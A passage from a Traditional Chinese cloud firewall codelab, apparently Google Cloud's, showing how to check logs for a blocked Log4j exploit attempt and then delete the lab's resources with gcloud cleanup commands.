透過 Cloud 控制台前往「Logging」>「Logs Explorer」,輸入下方的篩選器並查詢記錄。請將 [PROJECT_ID] 替換為您的 project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise 記錄項目應如下所示:

5b68cc1063c0f4bd.png

展開記錄項目,並留意從用戶端 VM 傳送至伺服器的攻擊已被識別並封鎖 (如下方螢幕截圖所示的 Apache Log4j 遠端程式碼執行安全漏洞)。

478f18f8481e90ed.png

您已成功部署 Cloud NGFW Enterprise 並啟用 TLS 檢查功能,以便封鎖惡意要求。

請繼續閱讀下一節,瞭解清理步驟。

14. 清理步驟

清理基本設定

移除執行個體:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

如果 tagAdmin 和 tagUsers 角色已變更,請按照下列步驟操作:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

移除標記鍵和值:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

移除 Cloud 防火牆網路政策和關聯:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

刪除 Cloud Router 和 Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

刪除保留的 IP 位址:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG、關聯和 TLS 清理

按照下列順序刪除安全性設定檔群組和威脅設定檔:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

刪除 Cloud Firewall 端點關聯:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

刪除 Cloud Firewall 端點,這項作業大約需要 20 分鐘才能完成:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

您也可以執行下列指令,確認 Cloud NGFW 端點已刪除:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

端點的狀態應顯示:

STATE: DELETING

完成後,系統就不會再列出該端點。

請依照下列順序刪除 TLS 政策和信任設定:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

停用並刪除根 CA 和 CA 集區:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

子網路和虛擬私有雲清理

最後,請刪除子網路和 VPC 網路:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. 恭喜!

恭喜,您已成功完成「Cloud NGFW Enterprise for East-West and Northbound TLS Inspection」程式碼研究室。